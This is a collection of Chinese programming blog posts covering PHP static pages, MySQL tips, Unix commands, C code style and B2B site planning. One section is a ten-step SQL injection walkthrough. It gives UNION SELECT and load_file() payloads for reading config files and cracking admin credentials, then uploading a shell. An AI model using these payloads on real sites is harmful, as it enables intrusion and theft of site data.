在我之前所见的文章中要不是用代码堆砌空间就是用高手与高手交流用的语言让新人望而生却。因此本文尽量把整体思路说得详尽点。
两种方法简单说明如下:
1.使用文件函数得到静态页面的模板字符串,然后用str_replace函数将需要替换的东西替换了再写入到新的文件中。
2. 利用PHP的输出控制函数(Output Control)得到静态页面字符串,再写入到新的文件中。
下面开始详细的说明。
一.利用模板生成
什么是模板?如果大家使用过Dreamwerver中的“另存为模板”就应该知道模板是用来统一风格的东西。它只让你修改页面的某一部分,当然这“某一部分”是由你来确定的。本文在这说的模板也就是这个意思。(此外,PHP模板技术还包括phplib、smarty等等,这不是本文所说内容了)
把模板的概念结合本文再说得具体一点就是:美工先做好一个页面,然后我们把这个页面当作模板(要注意的是这个模板就没必要使用EditRegion3这样的代码了,这种代码是Dreamwerver为了方便自己设计而弄的标识),把这个模板中我们需要改变的地方用一个与HTML可以区分的字符代替,如“{title}”、“[title]”。在生成静态页面的时候只需要把数据和这些字符串替换即可。这就是模板的含义了。
下面来说一下具体的实现思路:做一个模板──在模板里面把需要改变的地方用特殊的字符代替──将模板中的内容取出来存放到一个字符串中(这个字符串的内容就是HTML代码和上面所说的特殊字符了)──使用函数将这个字符串里面的特殊字符用我们需要在页面上显示的内容替换──把替换后的字符串写到一个新的.htm页面里面──成功了!
功能的实现离不开PHP函数的帮忙。知道整体思路后最重要的就是去手册里面找相关的函数了。
首先,我们要把模板里面的HTML代码取出来放到一个变量中去,这个变量的值就是包含HTML的字符串了。我们可以使用string fread ( int handle, int length )函数来实现,仔细一看里面的参数“handle”是一个文件指针,这意味着我们得先把模板文件打开(PHP这一点相当麻烦,难道它就不能弄得一步到位吗!!!)。好,我们继续找能把文件打开的函数:resource fopen ( string filename, string mode [, bool use_include_path [, resource zcontext]] ),在这里我们只要传入前两个参数就可以了,第一个参数就是文件名字了,记得路径不要弄错;第二个参数建议使用“rb”,“r”代表只读方式打开,并将文件指针指向文件头,“b” 是指强制使用二进制模式,手册中建议:为移植性考虑,强烈建议在用 fopen() 打开文件时总是使用 'b' 标记。
在这一步我们的代码可以这样写:
$filemodel="template/it.php"; #模板地址
$file=fopen($filemodel,"rb"); #打开模板,得到文件指针
$temp=fread($file,filesize($filemodel)); #得到模板文件html代码
?>
提醒一下:如果你只是想将一个文件的内容读入到一个字符串中,用 file_get_contents(),它的性能比fread()的代码好得多(这是手册上的原话,不过这个函数是在PHP5中支持的)。
第二步,使用str_replace()函数将得到的文件字符替换相关内容,替换的方法就是把从数据库中取出的内容或通过表单的得到的数据把模板中的特殊字符替换了。这一步很简单,也许刚开始想不明白,但是一看代码就一目了然了:
$temp=str_replace("[title]",$title,$temp);
?>
上面的“"[title]"”就是模板文件中的特殊字符(是[title],不是”[title]”),“$title”就是我们想在页面上显示的内容,“$temp”就是模板文件html代码了。
如果还需要替换,则继续使用str_replace()函数就可以了,如:
$temp=str_replace("[postTime]",$postTime,$temp);
$temp=str_replace("[content]",$content,$temp);
?>
第三步,也就是第一步的反操作了:要把之前处理过的模板字符串写入另一个文件中去,而这个文件就是我们最终可以对外显示的页面。现在重复类似第一步的二部曲:打开文件,写入文件:
fwrite(fopen("$filename","wb"),$temp); #$filename是静态页面的文件名
?>
fwrite的作用就是把字符串的内容写入文件中去了。
同样,也可以使用file_put_contents函数写文件,但记得是在PHP5中。
这样,我们就可以用模板生成静态页面了。
二.利用输出控制函数(Output Control)生成静态页面
这个与用模板生成的相比相对高级一点,但一旦明白了它的实现思路,却是简单无比,所谓会者不难,难者不会大概就是这么一回事吧。
这种方法比模板生成的方法应用面更大。使用模板生成方法一般用于发表或修改文章时使用,这样的话数据库可以直接从表单得到,就无须通过数据库了。当如果需要从数据库取出数据,并且替换的东西比较多,更或者你需要的页面并不仅仅是通过简单的替换就能得到的,比如说站点的首页。这时,就有必要考虑使用输出控制函数了。
输出控制函数的作用是设置缓冲区,在缓冲区里面输出的内容可以被获得。获得输出内容整个过程只需要使用三个函数便可以了:ob_start()、ob_get_contents()、ob_end_clean()
方法思路如下:设置缓冲区起点(或设置输出内容的起点)──释放内容──取得内容──清空缓冲区──把取得的内容写如文件。
相关函数说明如下:
1、ob_start :打开输出缓冲区
函数格式:void ob_start(void)
说明:当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。
为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。
2 、ob_get_contents :返回内部缓冲区的内容。
使用方法:string ob_get_contents(void)
说明:这个函数会返回当前缓冲区中的内容,如果输出缓冲区没有激活,则返回 FALSE 。
3、ob_end_clean:删除内部缓冲区的内容,并且关闭内部缓冲区
使用方法:void ob_end_clean(void)
说明:这个函数不会输出内部缓冲区的内容而是把它删除!
精彩开始了,看看我们是如何利用输出缓冲生成静态页面的:
我们用函数来实现吧!
function createStaticPage($sourcePage,$objectPage)#来源文件,目标文件
{
#得到两个参数,一个是来源文件地址,一个是需要生成的静态页面地址
global $db; #数据库连接用的,在$sourcePage中需要用到
ob_start(); #打开缓冲区,相当于做了一个用来存放东西的箱子
include $sourcePage; #在缓冲区中释放页面,从这个代码中应该可以明白一点:那就是$sourcePage页面单独查看的时候,它是可以显示的!这是关键之所在,如果后面不加 ob_end_clean()函数,那在执行程序的时候你看见$sourcePage页面的内容。
$cons=ob_get_contents(); #得到缓冲区中的内容,这里的内容就是HTML代码!这相当于把箱子里面的东西转给了一个人!
ob_end_clean(); #清除缓冲区的内容,把箱子里面的东西转给他人后,打扫卫生,不打扫卫生的后果是让他人可以看见箱子的东西,也即可以看见$sourcePage页面的内容
$fp=fopen($objectPage,"wb") or die("静态生成时打开文件".$objectPage."时出错");
fwrite($fp,$cons); #把HTML代码写入静态文件中!
fclose($fp);
return true;
}
?>
总结:
1. 两种方法都有把内容写入你要生成的静态页面中的一步。
2.当可以使用第一种方法时就使用第一种方法,因为第二种方法要通过数据库调内容并显示(也可以说是隐藏了显示的内容,但事实上$sourcePage里的程序是执行的)的过程。
3.具体情况其他分析,在使用模板生成时由于可能直接使用表单提交的内容,所以需要过滤之类的检查。
2008年11月5日星期三
提高MySQL 查询效率的三个技巧
1. 使用statement进行绑定查询
2. 随机的获取记录
3. 使用连接池管理连接.
l 使用statement进行绑定查询
使用statement可以提前构建查询语法树,在查询时不再需要构建语法树就直接查询.因此可以很好的提高查询的效率. 这个方法适合于查询条件固定但查询非常频繁的场合.
使用方法是:
(1)绑定, 创建一个MYSQL_STMT变量,与对应的查询字符串绑定,字符串中的问号代表要传入的变量,每个问号都必须指定一个变量.
(2)查询, 输入每个指定的变量, 传入MYSQL_STMT变量用可用的连接句柄执行.
2 随机的获取记录
在某些数据库的应用中, 我们并不是要获取所有的满足条件的记录,而只是要随机挑选出满足条件的记录. 这种情况常见于数据业务的统计分析,从大容量数据库中获取小量的数据的场合.
有两种方法可以做到
(1)常规方法,首先查询出所有满足条件的记录,然后随机的挑选出部分记录.这种方法在满足条件的记录数很多时效果不理想.
(2)使用limit语法,先获取满足条件的记录条数, 然后在sql查询语句中加入limit来限制只查询满足要求的一段记录. 这种方法虽然要查询两次,但是在数据量大时反而比较高效.
3 使用连接池管理连接.
在有大量节点访问的数据库设计中,经常要使用到连接池来管理所有的连接.
一般方法是:建立两个连接句柄队列,空闲的等待使用的队列和正在使用的队列.
当要查询时先从空闲队列中获取一个句柄,插入到正在使用的队列,再用这个句柄做数据库操作,完毕后一定要从使用队列中删除,再插入到空闲队列.
php实现一个堆
[下载代码]
PHP中Interface解析
还是拿例子说话。
interface Computer{
function add($a, $b);
function minus($a, $b);
....
}
class Mainframe implements Computer{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Calculator implements Computer{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
不管是大型机还是小计算器,都可以算加减法。想要算加法的时候只要拿一个实现了Computer接口的东西就行。比如
function doAdd(Computer $c, $a, $b){
return $c->add($a, $b);
}
看起来不错。不过能算加减法的不仅仅是那些用电的东西。我国古代劳动人民的智慧结晶——算盘也能算加法。那么如果要拿算盘算加法,就要有一个算盘类。那这个算盘类该不该实现Computer接口呢?这个算盘似乎也算不上是一个计算机啊。或许该另外建立一个Calculatable的接口,让计算机和算盘都去实现这个接口,这样似乎就不错了。有时候我们只需要用到Calculatable的一部分功能。比如Calculatable定义了基本的加减乘除,但我们买菜算账的时候通常只需要加法。这时候如果用Calculatable的话就需要接受一些无用的东西。再用一个php的SPL里的例子。SPL里有一个 ArrayAccess接口,可以让对象像数组一样用下标去访问。这是一个很有意思的语法糖。不过有时候只需要按下标读功能就可以了,但是为了要满足规定,还是要把ArrayAccess接口的所有方法都实现一遍,于是就要写好几个throw new Exception('xxx is not writable');之类的东西。这实在有点罗嗦。
为什么不换一个写法呢?扔掉那些interface,直接写
class Mainframe{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Calculator{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
class Abacus{
function add($a, $b){
//...
}
function minus($a, $b){
//...
}
}
在需要计算的时候,也不用限定一定要是Computer,把对象直接扔过去。
function doAdd($c, $a, $b){
return $c->add($a, $b);
}
如果在试图在一个不能算加法的东西比如易拉罐上执行add,解释器自然会报错。也就是说,只有满足接口的对象才能够正常运行。你看,不用interface一样可以实现面向接口编程,而且更加灵活。
不用interface搞面向接口编程这听起来还是有点玄乎。毕竟这个interface就是接口的英文单词啊。好吧,interface确实是英文单词,但并不代表interface这个语法元素就等价于接口。就好像把狗的尾巴也叫做腿,这狗也不是就有了五条腿。interface只是叫了这个名字而已。当然,interface在一定程度上也为面向接口编程提供了方便,比如提供了编译期的检查。而且对于强类型语言来说,这样的语法元素是很重要的,比如java。而对于弱类型语言,比如php,却不是必须的。而对于一些更动态的语言,比如python,ruby来说,更是很难相容的。
保存远程图片到本地的办法
主要函数:
function GrabImage($url,$filename="") {
if($url=="") return false;
if($filename=="") {
$ext=strrchr($url,".");
if($ext!=".gif" && $ext!=".jpg" && $ext!=".png") return false;
$filename=date("YmdHis").$ext;
}
ob_start();
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$size = strlen($img);
$fp2=@fopen($filename, "a");
fwrite($fp2,$img);
fclose($fp2);
return $filename;
}
获取一张图片的代码:
$img=GrabImage("http://www.google.com/intl/en_ALL/images/logo.gif","logo.gif");
if($img){
echo '';
}else{
echo "false";
}
这是保存google的logo的例子,获取到的图片保存在同级目录下面。
获取一系列的有规律的图片(例如:以数字1-100命名的100张图片):
for ($i=1;$i<=100;$i++){
$img=GrabImage("http://www.yourimagesite.com/images/$i.gif","images/$i.gif");
}
上面的www.yourimagesite.com是图片的网址,需要自己修改,程序执行完后,所有的图片将会保存到images目录下面。
用PHP递归循环每一个目录
function file_list($path){
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if (is_dir($path."/".$file)) {
echo $path.": ".$file."
";//去掉此行显示的是所有的非目录文件
file_list($path."/".$file);
} else {
echo $path.": ".$file."
";
}
}
}
}
}
这个函数还可以继续做一些改进,加入一些文件夹或文件的图标什么的,这样就可以做成更强大的一个函数了,有兴趣的朋友可以扩展的一下。
php注入十点基本步骤
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。
网站重构到底是什么
自从2004年阿捷翻译了《网站重构》这本书,网站重构这个词就慢慢的必成了css+div,甚至等同起来,一些朋友把标准跟重构也混淆了,css+div跟标准也混淆了。这里有很多误读的成份。
无可厚非《网站重构》当时给我们带来了一场革命。我看过部分章节,是本好书。可能是css,div,标准这些词太过于频繁,很多误读的人把网站重构 和css+div或者html+css,css+div和标准,标准和重构都等同起来,弄得到底什么是什么,谁也说不清楚。这书出版到现在已经5年了,网 站重构到底要多久?
我个人认为这本书始终围绕这一个思想:使用WEB标准重构网站。
21世纪初最大的IT冤案
由于2004年绝大多数网站是使用table布局的,我们知道table布局最大的坏处就是不利于结构和表现分离,后期维护比较麻烦。而使用css 和div能很好的解决这个问题。table标签一直是W3C html的标准标签之一,为什么到了我们这里就拒绝使用了,table标签被抹杀是21世纪初最大的IT冤案。《网站重构》这本书自始至终没说不能使用 table标签,为什么到现在,页面上出现一个table标签就说这页面是垃圾呢?可能跟中国革命的彻底性有关系。
什么是WEB标准
WEB标准不是某一个标准,而是一系列标准的集合。网页主要由三部分组成:结构(Structure)、表现(Presentation)和行为 (Behavior)。对应的标准也分三方面:结构化标准语言主要包括XHTML和XML,表现标准语言主要包括CSS,行为标准主要包括对象模型(如 W3C DOM)、ECMAScript等。这些标准大部分由W3C起草和发布,也有一些是其他标准组织制订的标准,比如ECMA(European Computer Manufacturers Association)的ECMAScript标准。
而在阿捷的网页设计师网站(相当于《网站重构》的官方网站)有这么一句话:
怎样才是符合web标准?简单说就是不用HTML+table来设计页面,改用XHTML+CSS来实现。(出自:http://www.w3cn.org/faq/index.html)
可能这句话才是误读《网站重构》的真正源头,抹杀table的真正元凶。但是我相信阿捷他老人家的出发点是鼓励大家使用XHTML+CSS来布局网页。
《网站重构》给我们带来一场革命,同时也给我们带来了灾难性的div+css泛滥
《网站重构》给我们带来一场革命是译者预料之中的事情,同时也给我们带来了灾难性的div+css泛滥是译者始料未及的。现在人们都在谈论 div+css,谈论怎么解决浏览器兼容性问题,一个页面你就使用了div标签的有之,其实根本不存在div+css,是HTML+CSS。我问一个朋友 什么是em标签,他说em是单位(css中度量单位),大家css都很精通了,html呢,基础呢,结构呢,语义呢?反正都是源代码一看,都是div标 签,就是好页面。那你们把这个页面裸奔一下,看看是什么,用Twinsen Liang 的话去看看小学语文书。
网站重构到底是什么
网站重构不是一种技术,不是css+div,更不是标准,网站重构是一种思想,是一种理念。
引用WebReBuild.ORG 的话:当前国内的同行普遍的认为:所谓的网站重构就是“DIV+CSS”,想法固然极度局限。但也不是另一部分的人认为是“XHTML+CSS”,因为 “XHTML+CSS”只是页面重构。真正的网站重构理应包含结构、行为、表现三层次的分离以及优化,行内分工优化,以及以技术与数据、人文为主导的交互 优化等。
网站重构到底要多久
重构网站先重构人,重构你的理念,不要光光追求技术,追求还原设计稿,追求浏览器的兼容性,重要的是基础和理念。当你真正了解什么是网站重构的时候网站重构也就真正开始了。(来源:蓝色理想)
2008年11月3日星期一
Unix后台运行命令详解
中的不同时段运行。(相当有用的一个命令,功能最强大。)
At at命令。使用它在一个特定的时间运行一些特殊的作业,或在晚一些的非负荷高峰时
间段或高峰负荷时间段运行。
& 使用它在后台运行一个占用时间不长的进程。(大家应该经常用吧。)
Nohup 使用它在后台运行一个命令,即使在用户退出(注意这点)时也不受影响。
一.crontab命令
crontab命令的一般形式为:
crontab [-u user] -e -l -r
其中:
-u 用户名。如果使用自己的名字登录,就不用使用-u选项。
-e 编辑crontab文件。不带-u选项可以编辑自己的crontab文件。
-l 列出crontab文件中的内容。不带-u选项可以列出自己的crontab文件的内容。
-r 删除crontab文件。小心使用哦。
crontab文件(各个用户的这个文件放在/var/spool/cron/crontab/目录中,以用户名来区别。)
每个条目中各个域的意义和格式如下。
下面就是这些域:
第1列分钟1~5 9
第2列小时1~2 3(0表示子夜)
第3列日1~3 1
第4列月1~1 2
第5列星期0~6(0表示星期天)
第6列要运行的命令
例子(注意:提交此命令会覆盖原来的文件,使用之前请做好备份。):
30 21* * * /apps/bin/cleanup.sh
上面的例子表示每晚的21:30运行/apps/bin目录下的cleanup.sh。
45 4 1,10,22 * * /apps/bin/backup.sh
上面的例子表示每月1、10、22日的4:45运行/apps/bin目录下的backup.sh。
10 1 * * 6,0 /bin/find -name "core" -exec rm {} \;
上面的例子表示每周六、周日的1:10运行一个find命令。
0,30 18-23 * * * /apps/bin/dbcheck.sh
上面的例子表示在每天18:00至23:00之间每隔30分钟运行/apps/bin目录下的dbcheck .sh。
0 23 * * 6 /apps/bin/qtrend.sh
上面的例子表示每星期六的11:00pm运行/apps/bin目录下的qtrend.sh。
既然是用户向cron提交了这些作业,就要向cron提供所需的全部环境。要保证在shell脚本中提供所有必要的路
径和环境变量,除了一些自动设置的全局变量。
二.at命令
at命令允许用户向cron守护进程提交作业,使其在稍后的时间运行。如果你希望在一个月或更长的时间以后运
行,最好还是使用crontab文件。
at命令的基本形式为:
at [-f script] [-m -l -r] [time] [date]
其中,
-f script 是所要提交的脚本或命令。
-l 列出当前所有等待运行的作业。atq命令具有相同的作用。
-r 清除作业。为了清除某个作业,还要提供相应的作业标识(ID);有些UNIX变体只
接受atrm作为清除命令。
-m 作业完成后给用户发邮件。
time at命令的时间格式非常灵活;可以是H、HH.HHMM、HH:MM或H:M,其中H和M分别是小时和分钟。还可以使用
a.m.或p.m.。
date 日期格式可以是月份数或日期数,而且at命令还能够识别诸如today、tomorrow这样
的词。
使用at命令提交作业有几种不同的形式,可以通过命令行方式,也可以使用at命令提示符。
三.&命令
该命令的一般形式为:
命令 &
注意:需要用户交互的命令不要放在后台执行,因为这样你的机器就会在那里傻等。
四.nohup命令
如果你正在运行一个进程,而且你觉得在退出帐户时该进程还不会结束,那么可以使用
nohup命令。该命令可以在你退出帐户之后继续运行相应的进程。
该命令的一般形式为:
nohup command &
后台运行命令对于每天都运行的机器很有用,特别是对于我们这些懒的系统维护人员,可以减少我们的工作量,也可以避免某天忘记做什么重要的事情了。
项目外包模块定位及主要需求分析
(1)项目外包定位及背景分析
项目外包,也叫代工、OEM, 是现在商业社会比较流行的一种企业间协作方式,最常见的就是品牌公司将产品的生产外包,将劳动密集型的部分外包给运营成本更低的工厂,自己集中精力做产品 的研发、品牌的推广及销售,同时可以更好的资源共享、节约成本,比如:企业由于产品的销售处于淡季的时候,可以不用养没有工作做的工人;工厂也可以同时做 几家品牌公司的生产制造,从而实现资源共享,工厂和品牌公司都节约了运营成本。
这 种行业目前在处于制造业大国的中国,非常的多,比如:服装、电子、印刷包装、五金机械、软件开发等行业,除了软件开发行业外,其它大部分的制造企业,其信 息化程度都是比较低的,企业对网络的依赖是很低的,尤其是这个行业有许多小的加工作坊,企业的业务来源基本就是靠周边的大型加工厂给他们分一些订单,他们 一般是仅做来料加工,赚取微薄的加工费来维持企业的正常运转。同时由于代工企业本身的业务性质,决定了其在品牌推广上无需花费太多的精力及财力,这些因素 都会决定我们服务的模式会发生一些改变。
由 于是电子商务,在网络还不象电视一样普及的时候,我们就需要选择我们能够服务的人群,为他们提供更多的服务,比如:在服装行业,由于代工的工厂中很大一部 分是做出口的,那么我们实际服务的对象就是:外贸公司、服装品牌公司、大中型加工厂,那么我们的定位就是:为服装行业的品牌推广、市场销售、内销加工、加 工出口、出口贸易提供服务,促进服装行业的快速发展与进步。
(2)项目外包栏目用户主要需求分析
从 上面的背景分析可以看出,项目外包栏目(中文版)的主要用户是:外贸公司、品牌公司、大型加工厂三种类型企业的市场及销售人员,这三种用户围绕项目外包, 外贸公司和加工厂之间的合作模式:外贸公司通过同国外客户的交流,了解国外客户的需求,依照图纸及要求,寻找国内适合的加工厂打样、报价,外贸公司根据工 厂的打样报价和国外客户谈妥价格及合作事宜,从打样报价的加工厂里寻找合适的工厂加工,并出口运输给国外客户,整个业务流程就完成了;品牌公司和加工厂之 间的合作模式,也基本类似,品牌公司将未来一年或两年内将要推出的款式设计好,然后寻找加工厂打样报价,寻质量高的、价格低的合适加工厂加工其设计或开发 的新产品。
从 业务流程中我们可以看出,加工厂要找客户,他需要去寻找外贸公司、品牌公司给予其订单加工,品牌公司、贸易公司要找供应商,需要去寻找合适的工厂。加工厂 处于需求的弱势方,品牌公司和贸易公司处于需求的强势方,加工厂需要找到客户,或找到更好的客户,以解决其工厂生存发展问题;贸易公司、品牌公司要到质量 更高的、价格更低、实力更强的加工厂,由于他们三者之间处于某一个大区域,或全国性的资源、信息配置范围,那么就必然存在信息不对称的问题,他们需要获得 更多的信息,来支持其业务的完成。
贸 易公司及品牌公司需要清楚的了解工厂的实力,包括设备、员工、厂房、资质、成功案例、样品等工厂实力展示,需要了解工厂的质量控制能力,比如:工厂的管理 是否到位、质量控制是否能保证高质量的产品等质量控制能力展示;品牌公司、贸易公司则需要清楚的表达其需要加工的产品的原料成份、加工设备、交货期、数 量、价格、质量要求等资料,让加工厂很清楚的知道,自己能否做这个订单。同时,贸易公司希望能所有工厂放到一个平台上,比较其工厂实力,辅助自己正确的选 择供应商。
本文原创作者:李学江,多年从事大中型网站的开发策划及运营工作,现致力于新型行业B2B网站的策划建设及运营研究,著有 《行业B2B门户策划实战研究报告》,欢迎交流指导。QQ:335836796,MSN:lxjb2b@hotmail.com 。
系统程序员成长计划-走近专业程序员
作者联系方式:李先静
需要简述
用C语言编写一个双向链表。如果你有一定的C语言编程经验,这自然是小菜一碟。有的读者可能连一个小程序都没有写过,那也不用害怕,可以参考任何一本《数据结构》和C语言的书籍。先弄明白基本概念,把书上的代码看明白,再把代码抄到电脑里,保证编译过去,调试它到正常运行。反复这个过程,直到你能独立完成它为止。写第一行代码是很痛苦的,我培训过好几个同事,他们不是计算机系毕业的,开始在电脑前坐一整天,一行代码都敲不出来,我最早写程序时的情况也好不了多少,不过没有关系,迈出这一步就好了。
花1-3天时间,完成这个任务后,再继续往下阅读。
当你读到这里的时候,相信你已经独立写出了一个双向链表。恭喜你!迈出这一步可是值得庆祝的,现在你已经走在通往程序员的光明大道上了。不过你还是个业余程序员,那当然了,你才写出第一个程序呢!什么时候才能成为一个专业程序员呢?三年还是五年工作经验?其实不用的,你马上就可以了,我没有骗你,因为专业程序员与业余程序员之分主要在于一种态度,如果缺乏这种态度,拥有十年工作经验也还是业余的。
什么态度?专业态度!也就是星爷常说的专业精神。专业态度有多种表现形式,以后我们会一一介绍的。这里先介绍一下有关形象的态度,专业的程序员是很注重自己的形象的,当然程序员的形象不是表现在衣着和言谈上,而是表现在代码风格上,代码就是程序员的社交工具,代码风格可是攸关形象的大事。
有人说过,傻瓜都可以写出机器能读懂的代码,但只有专业程序员才能写出人能读懂的代码。作为专业程序员,每当写下一行代码时,要记得程序首先是给人读的,其次才是给机器读的。你要从一个业余程序员转向专业程序员,就要先从代码风格开始,并从此养成一种严谨的工作态度,生活上的不拘小节可不能带到编程中来。
代码风格有很多种,Windows 和Linux都有自己主流的代码风格,每个团队,每个公司也可能有自己的代码风格,争论哪种风格好那种风格坏没有什么意义。只要有助于其他程序员理解的代码风格都是可以接受的,因为遵循特定代码风格的目的就是为了便于交流。
这里介绍一下作者本人喜欢的代码风格,这种代码风格也在作者所在团队中使用。这里的命名风格与GTK+代码相近,排版风格Linux内核代码相近。
命名要展示对象的功能。
文件名:单词小写,多个单词用下划线分隔。
如: dlist.c (这里d代表double,是通用的缩写方法)
注意: 文件名一定要能传达文件的内容信息,别人一看到文件名就是知道文件中放的是什么内容。只把一个类或者一类的代码放在一起是好的习惯,这样就很容易给文件取一个直观的名字。业余爱好者常常把很多没关系的代码糅到一个文件中,结果造成代码杂乱无章,也很难给它取一个恰当的名字。
函数名:单词小写,多个单词用下划线分隔。
如:find_node
注意:同样,一个函数只完成单一功能,不要用代码的长度来衡量是不是要把一段代码独立成一个函数。即使只有几行代码,只要它完成的是一项独立的功能,都应该提为一个单独的函数,而函数名可以直观的反应出它的功能。如果在给函数起名时遇到了困难,通常是函数设计不合理,应该仔细思考一下。
结构/枚举/联合名:首字母大写,多个单词连写。
如:struct _DListNode;
宏名:单词大写,多个单词下划线分隔
如:#define MAX_PATH 260
变量名:单词小写,多个单词下划线分隔。
如:DListNode* node = NULL;
面向对象的命名方式:
1.以对象为中心,采用主语(对象)+谓语(动作),取代传统的谓语(动作)+宾语(目标)。
如:dlist_append
2.第一个参数为对象,并用thiz命名。
如:dlist_append(DList* thiz, void* value);
3.对象有自己的生命周期,都有create和destroy函数。
排版布局要美观大方。
合理使用空行:
1.函数体之间用空行分隔。
2.结构/联合/枚举声明空行分隔。
3.不同功能的代码块之间用空行分隔。
4.类似的代码放在一起,和其它部分用空行分隔。比如宏定义,类型定义,函数声明和全局变量放在一起。
5.使用空行时,一行就够了,不要使用连续多个空行,那样让人感觉空荡荡。
合理使用空格:
1.等号两边用空格。如:
如:int a = 100;
2.参数之间用空格。如:
如:test(int a, int b, int c)
3.语句末的分号与前面内容不要加空格。
如:test(a, b, c);
4.其它有助让代码更美观的地方。
合理使用括号:
1.用括号分隔子表达式,不要只靠默认优先级来判断。
如:((a && b) || (c && d))
2.用括号分隔if/while/for等语句的代码块,那怕代码只有一行。
如:
if(a > b)
{
return c;
}
合理的缩进方式:
每一级都正常缩进,用tab缩进取代空格缩进(Linux kernel也遵循此规则)。用空格缩进的目的是防止代码因编辑器的tab宽度不同而变乱,这个担心现在是多余的了,代码编辑器都支持tab宽度设置了。如果缩进的居次太多(比如超过三层),可能是代码设计上出了问题。
如:
if(a > b)
{
for(i = 0; i < 100; i++)
{
…
}
}
遵从团队的习惯。这个是最重要的,一个团队就要像一个团队的样子,不管你的水平有多高,遵循团队的规则是一个程序员的基本素养。如果团队的规则确实不好,大家应该一起完善它。
做到这一点,你已经走近专业程序员了,重新做一遍练习吧。随着后面的学习,你就可以真正走进专业程序员这个行列了。
UNIX系统和用户管理
4.1 who
[语法]: who
who am i
[说明]: 列出现在系统中的用户,who am i 显示自己
4.2 whodo
[语法]: whodo [-h] [-l] [用户]
[说明]: 显示系统中用户及进程,若指定用户,则只列出该用户的信息
-h 不显示头部信息
-l 长列表格式输出
4.3 passwd
[语法]: passwd [用户]
[说明]: 修改密码,指定用户则修改指定用户密码
4.4 logname
[语法]: logname
[说明]: 取得当前用户注册名
4.5 su
[语法]: su [-] [用户名]
[说明]: su 命令使当前用户成为指定用户,若无指定,则成为超级用户,但必须输入该用户的密码,-选项表示用该用户的注册环境成为该用户
4.6 time
[语法]: time 命令
[说明]: 执行命令,并在执行完后显示其运行的时间
4.7 date
[语法]: date
date mmddhhmm[yy]
[说明]: date 无参数时用于显示系统时间,修改时间时参数形式为月日时分[年]
4.8 shutdown
[语法]: shutdown [-y] [-gn] [-in]
[说明]: UNIX 系统必须先关闭系统,再关电源-y 对提示的所有问题都回答 y
-gn 给其他用户n 秒的时间退出,缺省值为60秒
-in 系统退到第n种方式,方式如下:
0 关机
1 单用户模式
2 多用户模式
3 网络下的多用户模式
6 关机并重新启动
4.9 fsck
[语法]: fsck [-y]
[说明]: 本命令用于检查和修复文件系统,当文件系统出现混乱时,可使用本命令,-y选项表示对所有提问都回答YES